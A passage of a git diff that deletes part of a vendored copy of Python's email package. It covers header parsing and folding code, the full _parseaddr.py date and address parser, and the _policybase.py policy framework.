{!r}".format(value))) - _find_mime_parameters(disp_header, value) - return disp_header - disp_header.append(token) - disp_header.content_disposition = token.value.strip().lower() - if not value: - return disp_header - if value[0] != ';': - disp_header.defects.append(errors.InvalidHeaderDefect( - "Only parameters are valid after content disposition, but " - "found {!r}".format(value))) - _find_mime_parameters(disp_header, value) - return disp_header - disp_header.append(ValueTerminal(';', 'parameter-separator')) - disp_header.append(parse_mime_parameters(value[1:])) - return disp_header - -def parse_content_transfer_encoding_header(value): - """ mechanism - - """ - # We should probably validate the values, since the list is fixed. - cte_header = ContentTransferEncoding() - if not value: - cte_header.defects.append(errors.HeaderMissingRequiredValue( - "Missing content transfer encoding")) - return cte_header - try: - token, value = get_token(value) - except errors.HeaderParseError: - cte_header.defects.append(errors.InvalidHeaderDefect( - "Expected content transfer encoding but found {!r}".format(value))) - else: - cte_header.append(token) - cte_header.cte = token.value.strip().lower() - if not value: - return cte_header - while value: - cte_header.defects.append(errors.InvalidHeaderDefect( - "Extra text after content transfer encoding")) - if value[0] in PHRASE_ENDS: - cte_header.append(ValueTerminal(value[0], 'misplaced-special')) - value = value[1:] - else: - token, value = get_phrase(value) - cte_header.append(token) - return cte_header - - -# -# Header folding -# -# Header folding is complex, with lots of rules and corner cases. The -# following code does its best to obey the rules and handle the corner -# cases, but you can be sure there are few bugs:) -# -# This folder generally canonicalizes as it goes, preferring the stringified -# version of each token. The tokens contain information that supports the -# folder, including which tokens can be encoded in which ways. -# -# Folded text is accumulated in a simple list of strings ('lines'), each -# one of which should be less than policy.max_line_length ('maxlen'). -# - -def _steal_trailing_WSP_if_exists(lines): - wsp = '' - if lines and lines[-1] and lines[-1][-1] in WSP: - wsp = lines[-1][-1] - lines[-1] = lines[-1][:-1] - return wsp - -def _refold_parse_tree(parse_tree, *, policy): - """Return string of contents of parse_tree folded according to RFC rules. - - """ - # max_line_length 0/None means no limit, ie: infinitely long. - maxlen = policy.max_line_length or float("+inf") - encoding = 'utf-8' if policy.utf8 else 'us-ascii' - lines = [''] - last_ew = None - wrap_as_ew_blocked = 0 - want_encoding = False - end_ew_not_allowed = Terminal('', 'wrap_as_ew_blocked') - parts = list(parse_tree) - while parts: - part = parts.pop(0) - if part is end_ew_not_allowed: - wrap_as_ew_blocked -= 1 - continue - tstr = str(part) - try: - tstr.encode(encoding) - charset = encoding - except UnicodeEncodeError: - if any(isinstance(x, errors.UndecodableBytesDefect) - for x in part.all_defects): - charset = 'unknown-8bit' - else: - # If policy.utf8 is false this should really be taken from a - # 'charset' property on the policy. - charset = 'utf-8' - want_encoding = True - if part.token_type == 'mime-parameters': - # Mime parameter folding (using RFC2231) is extra special. - _fold_mime_parameters(part, lines, maxlen, encoding) - continue - if want_encoding and not wrap_as_ew_blocked: - if not part.as_ew_allowed: - want_encoding = False - last_ew = None - if part.syntactic_break: - encoded_part = part.fold(policy=policy)[:-1] # strip nl - if policy.linesep not in encoded_part: - # It fits on a single line - if len(encoded_part) > maxlen - len(lines[-1]): - # But not on this one, so start a new one. - newline = _steal_trailing_WSP_if_exists(lines) - # XXX what if encoded_part has no leading FWS? - lines.append(newline) - lines[-1] += encoded_part - continue - # Either this is not a major syntactic break, so we don't - # want it on a line by itself even if it fits, or it - # doesn't fit on a line by itself. Either way, fall through - # to unpacking the subparts and wrapping them. - if not hasattr(part, 'encode'): - # It's not a Terminal, do each piece individually. - parts = list(part) + parts - else: - # It's a terminal, wrap it as an encoded word, possibly - # combining it with previously encoded words if allowed. - last_ew = _fold_as_ew(tstr, lines, maxlen, last_ew, - part.ew_combine_allowed, charset) - want_encoding = False - continue - if len(tstr) <= maxlen - len(lines[-1]): - lines[-1] += tstr - continue - # This part is too long to fit. The RFC wants us to break at - # "major syntactic breaks", so unless we don't consider this - # to be one, check if it will fit on the next line by itself. - if (part.syntactic_break and - len(tstr) + 1 <= maxlen): - newline = _steal_trailing_WSP_if_exists(lines) - if newline or part.startswith_fws(): - lines.append(newline + tstr) - continue - if not hasattr(part, 'encode'): - # It's not a terminal, try folding the subparts. - newparts = list(part) - if not part.as_ew_allowed: - wrap_as_ew_blocked += 1 - newparts.append(end_ew_not_allowed) - parts = newparts + parts - continue - if part.as_ew_allowed and not wrap_as_ew_blocked: - # It doesn't need CTE encoding, but encode it anyway so we can - # wrap it. - parts.insert(0, part) - want_encoding = True - continue - # We can't figure out how to wrap, it, so give up. - newline = _steal_trailing_WSP_if_exists(lines) - if newline or part.startswith_fws(): - lines.append(newline + tstr) - else: - # We can't fold it onto the next line either... - lines[-1] += tstr - return policy.linesep.join(lines) + policy.linesep - -def _fold_as_ew(to_encode, lines, maxlen, last_ew, ew_combine_allowed, charset): - """Fold string to_encode into lines as encoded word, combining if allowed. - Return the new value for last_ew, or None if ew_combine_allowed is False. - - If there is already an encoded word in the last line of lines (indicated by - a non-None value for last_ew) and ew_combine_allowed is true, decode the - existing ew, combine it with to_encode, and re-encode. Otherwise, encode - to_encode. In either case, split to_encode as necessary so that the - encoded segments fit within maxlen. - - """ - if last_ew is not None and ew_combine_allowed: - to_encode = str( - get_unstructured(lines[-1][last_ew:] + to_encode)) - lines[-1] = lines[-1][:last_ew] - if to_encode[0] in WSP: - # We're joining this to non-encoded text, so don't encode - # the leading blank. - leading_wsp = to_encode[0] - to_encode = to_encode[1:] - if (len(lines[-1]) == maxlen): - lines.append(_steal_trailing_WSP_if_exists(lines)) - lines[-1] += leading_wsp - trailing_wsp = '' - if to_encode[-1] in WSP: - # Likewise for the trailing space. - trailing_wsp = to_encode[-1] - to_encode = to_encode[:-1] - new_last_ew = len(lines[-1]) if last_ew is None else last_ew - while to_encode: - remaining_space = maxlen - len(lines[-1]) - # The RFC2047 chrome takes up 7 characters plus the length - # of the charset name. - encode_as = 'utf-8' if charset == 'us-ascii' else charset - text_space = remaining_space - len(encode_as) - 7 - if text_space <= 0: - lines.append(' ') - # XXX We'll get an infinite loop here if maxlen is <= 7 - continue - first_part = to_encode[:text_space] - ew = _ew.encode(first_part, charset=encode_as) - excess = len(ew) - remaining_space - if excess > 0: - # encode always chooses the shortest encoding, so this - # is guaranteed to fit at this point. - first_part = first_part[:-excess] - ew = _ew.encode(first_part) - lines[-1] += ew - to_encode = to_encode[len(first_part):] - if to_encode: - lines.append(' ') - new_last_ew = len(lines[-1]) - lines[-1] += trailing_wsp - return new_last_ew if ew_combine_allowed else None - -def _fold_mime_parameters(part, lines, maxlen, encoding): - """Fold TokenList 'part' into the 'lines' list as mime parameters. - - Using the decoded list of parameters and values, format them according to - the RFC rules, including using RFC2231 encoding if the value cannot be - expressed in 'encoding' and/or the parameter+value is too long to fit - within 'maxlen'. - - """ - # Special case for RFC2231 encoding: start from decoded values and use - # RFC2231 encoding iff needed. - # - # Note that the 1 and 2s being added to the length calculations are - # accounting for the possibly-needed spaces and semicolons we'll be adding. - # - for name, value in part.params: - # XXX What if this ';' puts us over maxlen the first time through the - # loop? We should split the header value onto a newline in that case, - # but to do that we need to recognize the need earlier or reparse the - # header, so I'm going to ignore that bug for now. It'll only put us - # one character over. - if not lines[-1].rstrip().endswith(';'): - lines[-1] += ';' - charset = encoding - error_handler = 'strict' - try: - value.encode(encoding) - encoding_required = False - except UnicodeEncodeError: - encoding_required = True - if utils._has_surrogates(value): - charset = 'unknown-8bit' - error_handler = 'surrogateescape' - else: - charset = 'utf-8' - if encoding_required: - encoded_value = urllib.parse.quote( - value, safe='', errors=error_handler) - tstr = "{}*={}''{}".format(name, charset, encoded_value) - else: - tstr = '{}={}'.format(name, quote_string(value)) - if len(lines[-1]) + len(tstr) + 1 < maxlen: - lines[-1] = lines[-1] + ' ' + tstr - continue - elif len(tstr) + 2 <= maxlen: - lines.append(' ' + tstr) - continue - # We need multiple sections. We are allowed to mix encoded and - # non-encoded sections, but we aren't going to. We'll encode them all. - section = 0 - extra_chrome = charset + "''" - while value: - chrome_len = len(name) + len(str(section)) + 3 + len(extra_chrome) - if maxlen <= chrome_len + 3: - # We need room for the leading blank, the trailing semicolon, - # and at least one character of the value. If we don't - # have that, we'd be stuck, so in that case fall back to - # the RFC standard width. - maxlen = 78 - splitpoint = maxchars = maxlen - chrome_len - 2 - while True: - partial = value[:splitpoint] - encoded_value = urllib.parse.quote( - partial, safe='', errors=error_handler) - if len(encoded_value) <= maxchars: - break - splitpoint -= 1 - lines.append(" {}*{}*={}{}".format( - name, section, extra_chrome, encoded_value)) - extra_chrome = '' - section += 1 - value = value[splitpoint:] - if value: - lines[-1] += ';' diff --git a/email/_parseaddr.py b/email/_parseaddr.py deleted file mode 100755 index cdfa372..0000000 --- a/email/_parseaddr.py +++ /dev/null @@ -1,540 +0,0 @@ -# Copyright (C) 2002-2007 Python Software Foundation -# Contact: email-sig@python.org - -"""Email address parsing code. - -Lifted directly from rfc822.py. This should eventually be rewritten. -""" - -__all__ = [ - 'mktime_tz', - 'parsedate', - 'parsedate_tz', - 'quote', - ] - -import time, calendar - -SPACE = ' ' -EMPTYSTRING = '' -COMMASPACE = ', ' - -# Parse a date field -_monthnames = ['jan', 'feb', 'mar', 'apr', 'may', 'jun', 'jul', - 'aug', 'sep', 'oct', 'nov', 'dec', - 'january', 'february', 'march', 'april', 'may', 'june', 'july', - 'august', 'september', 'october', 'november', 'december'] - -_daynames = ['mon', 'tue', 'wed', 'thu', 'fri', 'sat', 'sun'] - -# The timezone table does not include the military time zones defined -# in RFC822, other than Z. According to RFC1123, the description in -# RFC822 gets the signs wrong, so we can't rely on any such time -# zones. RFC1123 recommends that numeric timezone indicators be used -# instead of timezone names. - -_timezones = {'UT':0, 'UTC':0, 'GMT':0, 'Z':0, - 'AST': -400, 'ADT': -300, # Atlantic (used in Canada) - 'EST': -500, 'EDT': -400, # Eastern - 'CST': -600, 'CDT': -500, # Central - 'MST': -700, 'MDT': -600, # Mountain - 'PST': -800, 'PDT': -700 # Pacific - } - - -def parsedate_tz(data): - """Convert a date string to a time tuple. - - Accounts for military timezones. - """ - res = _parsedate_tz(data) - if not res: - return - if res[9] is None: - res[9] = 0 - return tuple(res) - -def _parsedate_tz(data): - """Convert date to extended time tuple. - - The last (additional) element is the time zone offset in seconds, except if - the timezone was specified as -0000. In that case the last element is - None. This indicates a UTC timestamp that explicitly declaims knowledge of - the source timezone, as opposed to a +0000 timestamp that indicates the - source timezone really was UTC. - - """ - if not data: - return - data = data.split() - # The FWS after the comma after the day-of-week is optional, so search and - # adjust for this. - if data[0].endswith(',') or data[0].lower() in _daynames: - # There's a dayname here. Skip it - del data[0] - else: - i = data[0].rfind(',') - if i >= 0: - data[0] = data[0][i+1:] - if len(data) == 3: # RFC 850 date, deprecated - stuff = data[0].split('-') - if len(stuff) == 3: - data = stuff + data[1:] - if len(data) == 4: - s = data[3] - i = s.find('+') - if i == -1: - i = s.find('-') - if i > 0: - data[3:] = [s[:i], s[i:]] - else: - data.append('') # Dummy tz - if len(data) < 5: - return None - data = data[:5] - [dd, mm, yy, tm, tz] = data - mm = mm.lower() - if mm not in _monthnames: - dd, mm = mm, dd.lower() - if mm not in _monthnames: - return None - mm = _monthnames.index(mm) + 1 - if mm > 12: - mm -= 12 - if dd[-1] == ',': - dd = dd[:-1] - i = yy.find(':') - if i > 0: - yy, tm = tm, yy - if yy[-1] == ',': - yy = yy[:-1] - if not yy[0].isdigit(): - yy, tz = tz, yy - if tm[-1] == ',': - tm = tm[:-1] - tm = tm.split(':') - if len(tm) == 2: - [thh, tmm] = tm - tss = '0' - elif len(tm) == 3: - [thh, tmm, tss] = tm - elif len(tm) == 1 and '.' in tm[0]: - # Some non-compliant MUAs use '.' to separate time elements. - tm = tm[0].split('.') - if len(tm) == 2: - [thh, tmm] = tm - tss = 0 - elif len(tm) == 3: - [thh, tmm, tss] = tm - else: - return None - try: - yy = int(yy) - dd = int(dd) - thh = int(thh) - tmm = int(tmm) - tss = int(tss) - except ValueError: - return None - # Check for a yy specified in two-digit format, then convert it to the - # appropriate four-digit format, according to the POSIX standard. RFC 822 - # calls for a two-digit yy, but RFC 2822 (which obsoletes RFC 822) - # mandates a 4-digit yy. For more information, see the documentation for - # the time module. - if yy < 100: - # The year is between 1969 and 1999 (inclusive). - if yy > 68: - yy += 1900 - # The year is between 2000 and 2068 (inclusive). - else: - yy += 2000 - tzoffset = None - tz = tz.upper() - if tz in _timezones: - tzoffset = _timezones[tz] - else: - try: - tzoffset = int(tz) - except ValueError: - pass - if tzoffset==0 and tz.startswith('-'): - tzoffset = None - # Convert a timezone offset into seconds ; -0500 -> -18000 - if tzoffset: - if tzoffset < 0: - tzsign = -1 - tzoffset = -tzoffset - else: - tzsign = 1 - tzoffset = tzsign * ( (tzoffset//100)*3600 + (tzoffset % 100)*60) - # Daylight Saving Time flag is set to -1, since DST is unknown. - return [yy, mm, dd, thh, tmm, tss, 0, 1, -1, tzoffset] - - -def parsedate(data): - """Convert a time string to a time tuple.""" - t = parsedate_tz(data) - if isinstance(t, tuple): - return t[:9] - else: - return t - - -def mktime_tz(data): - """Turn a 10-tuple as returned by parsedate_tz() into a POSIX timestamp.""" - if data[9] is None: - # No zone info, so localtime is better assumption than GMT - return time.mktime(data[:8] + (-1,)) - else: - t = calendar.timegm(data) - return t - data[9] - - -def quote(str): - """Prepare string to be used in a quoted string. - - Turns backslash and double quote characters into quoted pairs. These - are the only characters that need to be quoted inside a quoted string. - Does not add the surrounding double quotes. - """ - return str.replace('\\', '\\\\').replace('"', '\\"') - - -class AddrlistClass: - """Address parser class by Ben Escoto. - - To understand what this class does, it helps to have a copy of RFC 2822 in - front of you. - - Note: this class interface is deprecated and may be removed in the future. - Use email.utils.AddressList instead. - """ - - def __init__(self, field): - """Initialize a new instance. - - `field' is an unparsed address header field, containing - one or more addresses. - """ - self.specials = '()<>@,:;.\"[]' - self.pos = 0 - self.LWS = ' \t' - self.CR = '\r\n' - self.FWS = self.LWS + self.CR - self.atomends = self.specials + self.LWS + self.CR - # Note that RFC 2822 now specifies `.' as obs-phrase, meaning that it - # is obsolete syntax. RFC 2822 requires that we recognize obsolete - # syntax, so allow dots in phrases. - self.phraseends = self.atomends.replace('.', '') - self.field = field - self.commentlist = [] - - def gotonext(self): - """Skip white space and extract comments.""" - wslist = [] - while self.pos < len(self.field): - if self.field[self.pos] in self.LWS + '\n\r': - if self.field[self.pos] not in '\n\r': - wslist.append(self.field[self.pos]) - self.pos += 1 - elif self.field[self.pos] == '(': - self.commentlist.append(self.getcomment()) - else: - break - return EMPTYSTRING.join(wslist) - - def getaddrlist(self): - """Parse all addresses. - - Returns a list containing all of the addresses. - """ - result = [] - while self.pos < len(self.field): - ad = self.getaddress() - if ad: - result += ad - else: - result.append(('', '')) - return result - - def getaddress(self): - """Parse the next address.""" - self.commentlist = [] - self.gotonext() - - oldpos = self.pos - oldcl = self.commentlist - plist = self.getphraselist() - - self.gotonext() - returnlist = [] - - if self.pos >= len(self.field): - # Bad email address technically, no domain. - if plist: - returnlist = [(SPACE.join(self.commentlist), plist[0])] - - elif self.field[self.pos] in '.@': - # email address is just an addrspec - # this isn't very efficient since we start over - self.pos = oldpos - self.commentlist = oldcl - addrspec = self.getaddrspec() - returnlist = [(SPACE.join(self.commentlist), addrspec)] - - elif self.field[self.pos] == ':': - # address is a group - returnlist = [] - - fieldlen = len(self.field) - self.pos += 1 - while self.pos < len(self.field): - self.gotonext() - if self.pos < fieldlen and self.field[self.pos] == ';': - self.pos += 1 - break - returnlist = returnlist + self.getaddress() - - elif self.field[self.pos] == '<': - # Address is a phrase then a route addr - routeaddr = self.getrouteaddr() - - if self.commentlist: - returnlist = [(SPACE.join(plist) + ' (' + - ' '.join(self.commentlist) + ')', routeaddr)] - else: - returnlist = [(SPACE.join(plist), routeaddr)] - - else: - if plist: - returnlist = [(SPACE.join(self.commentlist), plist[0])] - elif self.field[self.pos] in self.specials: - self.pos += 1 - - self.gotonext() - if self.pos < len(self.field) and self.field[self.pos] == ',': - self.pos += 1 - return returnlist - - def getrouteaddr(self): - """Parse a route address (Return-path value). - - This method just skips all the route stuff and returns the addrspec. - """ - if self.field[self.pos] != '<': - return - - expectroute = False - self.pos += 1 - self.gotonext() - adlist = '' - while self.pos < len(self.field): - if expectroute: - self.getdomain() - expectroute = False - elif self.field[self.pos] == '>': - self.pos += 1 - break - elif self.field[self.pos] == '@': - self.pos += 1 - expectroute = True - elif self.field[self.pos] == ':': - self.pos += 1 - else: - adlist = self.getaddrspec() - self.pos += 1 - break - self.gotonext() - - return adlist - - def getaddrspec(self): - """Parse an RFC 2822 addr-spec.""" - aslist = [] - - self.gotonext() - while self.pos < len(self.field): - preserve_ws = True - if self.field[self.pos] == '.': - if aslist and not aslist[-1].strip(): - aslist.pop() - aslist.append('.') - self.pos += 1 - preserve_ws = False - elif self.field[self.pos] == '"': - aslist.append('"%s"' % quote(self.getquote())) - elif self.field[self.pos] in self.atomends: - if aslist and not aslist[-1].strip(): - aslist.pop() - break - else: - aslist.append(self.getatom()) - ws = self.gotonext() - if preserve_ws and ws: - aslist.append(ws) - - if self.pos >= len(self.field) or self.field[self.pos] != '@': - return EMPTYSTRING.join(aslist) - - aslist.append('@') - self.pos += 1 - self.gotonext() - return EMPTYSTRING.join(aslist) + self.getdomain() - - def getdomain(self): - """Get the complete domain name from an address.""" - sdlist = [] - while self.pos < len(self.field): - if self.field[self.pos] in self.LWS: - self.pos += 1 - elif self.field[self.pos] == '(': - self.commentlist.append(self.getcomment()) - elif self.field[self.pos] == '[': - sdlist.append(self.getdomainliteral()) - elif self.field[self.pos] == '.': - self.pos += 1 - sdlist.append('.') - elif self.field[self.pos] in self.atomends: - break - else: - sdlist.append(self.getatom()) - return EMPTYSTRING.join(sdlist) - - def getdelimited(self, beginchar, endchars, allowcomments=True): - """Parse a header fragment delimited by special characters. - - `beginchar' is the start character for the fragment. - If self is not looking at an instance of `beginchar' then - getdelimited returns the empty string. - - `endchars' is a sequence of allowable end-delimiting characters. - Parsing stops when one of these is encountered. - - If `allowcomments' is non-zero, embedded RFC 2822 comments are allowed - within the parsed fragment. - """ - if self.field[self.pos] != beginchar: - return '' - - slist = [''] - quote = False - self.pos += 1 - while self.pos < len(self.field): - if quote: - slist.append(self.field[self.pos]) - quote = False - elif self.field[self.pos] in endchars: - self.pos += 1 - break - elif allowcomments and self.field[self.pos] == '(': - slist.append(self.getcomment()) - continue # have already advanced pos from getcomment - elif self.field[self.pos] == '\\': - quote = True - else: - slist.append(self.field[self.pos]) - self.pos += 1 - - return EMPTYSTRING.join(slist) - - def getquote(self): - """Get a quote-delimited fragment from self's field.""" - return self.getdelimited('"', '"\r', False) - - def getcomment(self): - """Get a parenthesis-delimited fragment from self's field.""" - return self.getdelimited('(', ')\r', True) - - def getdomainliteral(self): - """Parse an RFC 2822 domain-literal.""" - return '[%s]' % self.getdelimited('[', ']\r', False) - - def getatom(self, atomends=None): - """Parse an RFC 2822 atom. - - Optional atomends specifies a different set of end token delimiters - (the default is to use self.atomends). This is used e.g. in - getphraselist() since phrase endings must not include the `.' (which - is legal in phrases).""" - atomlist = [''] - if atomends is None: - atomends = self.atomends - - while self.pos < len(self.field): - if self.field[self.pos] in atomends: - break - else: - atomlist.append(self.field[self.pos]) - self.pos += 1 - - return EMPTYSTRING.join(atomlist) - - def getphraselist(self): - """Parse a sequence of RFC 2822 phrases. - - A phrase is a sequence of words, which are in turn either RFC 2822 - atoms or quoted-strings. Phrases are canonicalized by squeezing all - runs of continuous whitespace into one space. - """ - plist = [] - - while self.pos < len(self.field): - if self.field[self.pos] in self.FWS: - self.pos += 1 - elif self.field[self.pos] == '"': - plist.append(self.getquote()) - elif self.field[self.pos] == '(': - self.commentlist.append(self.getcomment()) - elif self.field[self.pos] in self.phraseends: - break - else: - plist.append(self.getatom(self.phraseends)) - - return plist - -class AddressList(AddrlistClass): - """An AddressList encapsulates a list of parsed RFC 2822 addresses.""" - def __init__(self, field): - AddrlistClass.__init__(self, field) - if field: - self.addresslist = self.getaddrlist() - else: - self.addresslist = [] - - def __len__(self): - return len(self.addresslist) - - def __add__(self, other): - # Set union - newaddr = AddressList(None) - newaddr.addresslist = self.addresslist[:] - for x in other.addresslist: - if not x in self.addresslist: - newaddr.addresslist.append(x) - return newaddr - - def __iadd__(self, other): - # Set union, in-place - for x in other.addresslist: - if not x in self.addresslist: - self.addresslist.append(x) - return self - - def __sub__(self, other): - # Set difference - newaddr = AddressList(None) - for x in self.addresslist: - if not x in other.addresslist: - newaddr.addresslist.append(x) - return newaddr - - def __isub__(self, other): - # Set difference, in-place - for x in other.addresslist: - if x in self.addresslist: - self.addresslist.remove(x) - return self - - def __getitem__(self, index): - # Make indexing, slices, and 'in' work - return self.addresslist[index] diff --git a/email/_policybase.py b/email/_policybase.py deleted file mode 100755 index c9cbadd..0000000 --- a/email/_policybase.py +++ /dev/null @@ -1,374 +0,0 @@ -"""Policy framework for the email package. - -Allows fine grained feature control of how the package parses and emits data. -""" - -import abc -from email import header -from email import charset as _charset -from email.utils import _has_surrogates - -__all__ = [ - 'Policy', - 'Compat32', - 'compat32', - ] - - -class _PolicyBase: - - """Policy Object basic framework. - - This class is useless unless subclassed. A subclass should define - class attributes with defaults for any values that are to be - managed by the Policy object. The constructor will then allow - non-default values to be set for these attributes at instance - creation time. The instance will be callable, taking these same - attributes keyword arguments, and returning a new instance - identical to the called instance except for those values changed - by the keyword arguments. Instances may be added, yielding new - instances with any non-default values from the right hand - operand overriding those in the left hand operand. That is, - - A + B == A() - - The repr of an instance can be used to reconstruct the object - if and only if the repr of the values can be used to reconstruct - those values. - - """ - - def __init__(self, **kw): - """Create new Policy, possibly overriding some defaults. - - See class docstring for a list of overridable attributes. - - """ - for name, value in kw.items(): - if hasattr(self, name): - super(_PolicyBase,self).__setattr__(name, value) - else: - raise TypeError( - "{!r} is an invalid keyword argument for {}".format( - name, self.__class__.__name__)) - - def __repr__(self): - args = [ "{}={!r}".format(name, value) - for name, value in self.__dict__.items() ] - return "{}({})".format(self.__class__.__name__, ', '.join(args)) - - def clone(self, **kw): - """Return a new instance with specified attributes changed. - - The new instance has the same attribute values as the current object, - except for the changes passed in as keyword arguments. - - """ - newpolicy = self.__class__.__new__(self.__class__) - for attr, value in self.__dict__.items(): - object.__setattr__(newpolicy, attr, value) - for attr, value in kw.items(): - if not hasattr(self, attr): - raise TypeError( - "{!r} is an invalid keyword argument for {}".format( - attr, self.__class__.__name__)) - object.__setattr__(newpolicy, attr, value) - return newpolicy - - def __setattr__(self, name, value): - if hasattr(self, name): - msg = "{!r} object attribute {!r} is read-only" - else: - msg = "{!r} object has no attribute {!r}" - raise AttributeError(msg.format(self.__class__.__name__, name)) - - def __add__(self, other): - """Non-default values from right operand override those from left. - - The object returned is a new instance of the subclass. - - """ - return self.clone(**other.__dict__) - - -def _append_doc(doc, added_doc): - doc = doc.rsplit('\n', 1)[0] - added_doc = added_doc.split('\n', 1)[1] - return doc + '\n' + added_doc - -def _extend_docstrings(cls): - if cls.__doc__ and cls.__doc__.startswith('+'): - cls.__doc__ = _append_doc(cls.__bases__[0].__doc__, cls.__doc__) - for name, attr in cls.__dict__.items(): - if attr.__doc__ and attr.__doc__.startswith('+'): - for c in (c for base in cls.__bases__ for c in base.mro()): - doc = getattr(getattr(c, name), '__doc__') - if doc: - attr.__doc__ = _append_doc(doc, attr.__doc__) - break - return cls - - -class Policy(_PolicyBase, metaclass=abc.ABCMeta): - - r"""Controls for how messages are interpreted and formatted. - - Most of the classes and many of the methods in the email package accept - Policy objects as parameters. A Policy object contains a set of values and - functions that control how input is interpreted and how output is rendered. - For example, the parameter 'raise_on_defect' controls whether or not an RFC - violation results in an error being raised or not, while 'max_line_length' - controls the maximum length of output lines when a Message is serialized. - - Any valid attribute may be overridden when a Policy is created by passing - it as a keyword argument to the constructor. Policy objects are immutable, - but a new Policy object can be created with only certain values changed by - calling the Policy instance with keyword arguments. Policy objects can - also be added, producing a new Policy object in which the non-default - attributes set in the right hand operand overwrite those specified in the - left operand. - - Settable attributes: - - raise_on_defect -- If true, then defects should be raised as errors. - Default: False. - - linesep -- string containing the value to use as separation - between output lines. Default '\n'. - - cte_type -- Type of allowed content transfer encodings - - 7bit -- ASCII only - 8bit -- Content-Transfer-Encoding: 8bit is allowed - - Default: 8bit. Also controls the disposition of - (RFC invalid) binary data in headers; see the - documentation of the binary_fold method. - - max_line_length -- maximum length of lines, excluding 'linesep', - during serialization. None or 0 means no line - wrapping is done. Default is 78. - - mangle_from_ -- a flag that, when True escapes From_ lines in the - body of the message by putting a `>' in front of - them. This is used when the message is being - serialized by a generator. Default: True. - - message_factory -- the class to use to create new message objects. - If the value is None, the default is Message. - - """ - - raise_on_defect = False - linesep = '\n' - cte_type = '8bit' - max_line_length = 78 - mangle_from_ = False - message_factory = None - - def handle_defect(self, obj, defect): - """Based on policy, either raise defect or call register_defect. - - handle_defect(obj, defect) - - defect should be a Defect subclass, but in any case must be an - Exception subclass. obj is the object on which the defect should be - registered if it is not raised. If the raise_on_defect is True, the - defect is raised as an error, otherwise the object and the defect are - passed to register_defect. - - This method is intended to be called by parsers that discover defects. - The email package parsers always call it with Defect instances. - - """ - if self.raise_on_defect: - raise defect - self.register_defect(obj, defect) - - def register_defect(self, obj, defect): - """Record 'defect' on 'obj'. - - Called by handle_defect if raise_on_defect is False. This method is - part of the Policy API so that Policy subclasses can implement custom - defect handling. The default implementation calls the append method of - the defects attribute of obj. The objects used by the email package by - default that get passed to this method will always have a defects - attribute with an append method. - - """ - obj.defects.append(defect) - - def header_max_count(self, name): - """Return the maximum allowed number of headers named 'name'. - - Called when a header is added to a Message object. If the returned - value is not 0 or None, and there are already a number of headers with - the name 'name' equal to the value returned, a ValueError is raised. - - Because the default behavior of Message's __setitem__ is to append the - value to the list of headers, it is easy to create duplicate headers - without realizing it. This method allows certain headers to be limited - in the number of instances of that header that may be added to a - Message programmatically. (The limit is not observed by the parser, - which will faithfully produce as many headers as exist in the message - being parsed.) - - The default implementation returns None for all header names. - """ - return None - - @abc.abstractmethod - def header_source_parse(self, sourcelines): - """Given a list of linesep terminated strings constituting the lines of - a single header, return the (name, value) tuple that should be stored - in the model. The input lines should retain their terminating linesep - characters. The lines passed in by the email package may contain - surrogateescaped binary data. - """ - raise NotImplementedError - - @abc.abstractmethod - def header_store_parse(self, name, value): - """Given the header name and the value provided by the application - program, return the (name, value) that should be stored in the model. - """ - raise NotImplementedError - - @abc.abstractmethod - def header_fetch_parse(self, name, value): - """Given the header name and the value from the model, return the value - to be returned to the application program that is requesting that - header. The value passed in by the email package may contain - surrogateescaped binary data if the lines were parsed by a BytesParser. - The returned value should not contain any surrogateescaped data. - - """ - raise NotImplementedError - - @abc.abstractmethod - def fold(self, name, value): - """Given the header name and the value from the model, return a string - containing linesep characters that implement the folding of the header - according to the policy controls. The value passed in by the email - package may contain surrogateescaped binary data if the lines were - parsed by a BytesParser. The returned value should not contain any - surrogateescaped data. - - """ - raise NotImplementedError - - @abc.abstractmethod - def fold_binary(self, name, value): - """Given the header name and the value from the model, return binary - data containing linesep characters that implement the folding of the - header according to the policy controls. The value passed in by the - email package may contain surrogateescaped binary data. - - """ - raise NotImplementedError - - -@_extend_docstrings -class Compat32(Policy): - - """+ - This particular policy is the backward compatibility Policy. It - replicates the behavior of the email package version 5.1. - """ - - mangle_from_ = True - - def _sanitize_header(self, name, value): - # If the header value contains surrogates, return a Header using - # the unknown-8bit charset to encode the bytes as encoded words. - if not isinstance(value, str): - # Assume it is already a header object - return value - if _has_surrogates(value): - return header.Header(value, charset=_charset.UNKNOWN8BIT, - header_name=name) - else: - return value - - def header_source_parse(self, sourcelines): - """+ - The name is parsed as everything up to the ':' and returned unmodified. - The value is determined by stripping leading whitespace off the - remainder of the first line, joining all subsequent lines together, and - stripping any trailing carriage return or linefeed characters. - - """ - name, value = sourcelines[0].split(':', 1) - value = value.lstrip(' \t') + ''.join(sourcelines[1:]) - return (name, value.rstrip('\r\n')) - - def header_store_parse(self, name, value): - """+ - The name and value are returned unmodified. - """ - return (name, value) - - def header_fetch_parse(self, name, value): - """+ - If the value contains binary data, it is converted into a Header object - using the unknown-8bit charset. Otherwise it is returned unmodified. - """ - return self._sanitize_header(name, value) - - def fold(self, name, value): - """+ - Headers are folded using the Header folding algorithm, which preserves - existing line breaks in the value, and wraps each resulting line to the - max_line_length. Non-ASCII binary data are CTE encoded using the - unknown-8bit charset. - - """ - return self._fold(name, value, sanitize=True) - - def fold_binary(self, name, value): - """+ - Headers are folded using the Header folding algorithm, which preserves - existing line breaks in the value, and wraps each resulting line to the - max_line_length. If cte_type is 7bit, non-ascii binary data is CTE - encoded using the unknown-8bit charset. Otherwise the original source - header is used, with its existing line breaks and/or binary data. - - """ - folded = self._fold(name, value, sanitize=self.cte_type=='7bit') - return folded.encode('ascii', 'surrogateescape') - - def _fold(self, name, value, sanitize): - parts = [] - parts.append('%s: ' % name) - if isinstance(value, str): - if _has_surrogates(value): - if sanitize: - h = header.Header(value, - charset=_charset.UNKNOWN8BIT, - header_name=name) - else: - # If we have raw 8bit data in a byte string, we have no idea - # what the encoding is. There is no safe way to split this - # string. If it's ascii-subset, then we could do a normal - # ascii split, but if it's multibyte then we could break the - # string. There's no way to know so the least harm seems to - # be to not split the string and risk it being too long. - parts.append(value) - h = None - else: - h = header.Header(value, header_name=name) - else: - # Assume it is a Header-like object. - h = value - if h is not None: - # The Header class interprets a value of None for maxlinelen as the - # default value of 78, as recommended by RFC 2822. - maxlinelen = 0 - if self.max_line_length is not None: - maxlinelen = self.max_line_length - parts.append(h.encode(linesep=self.linesep, maxlinelen=maxlinelen)) - parts.append(self.linesep) - return ''.join(parts) - - -compat32 = Compat32() diff --git a/email/architecture.rst b/email/architecture.rst deleted file mode 100755 index fcd10bd..0000000 --- a/email/architecture.rst +++ 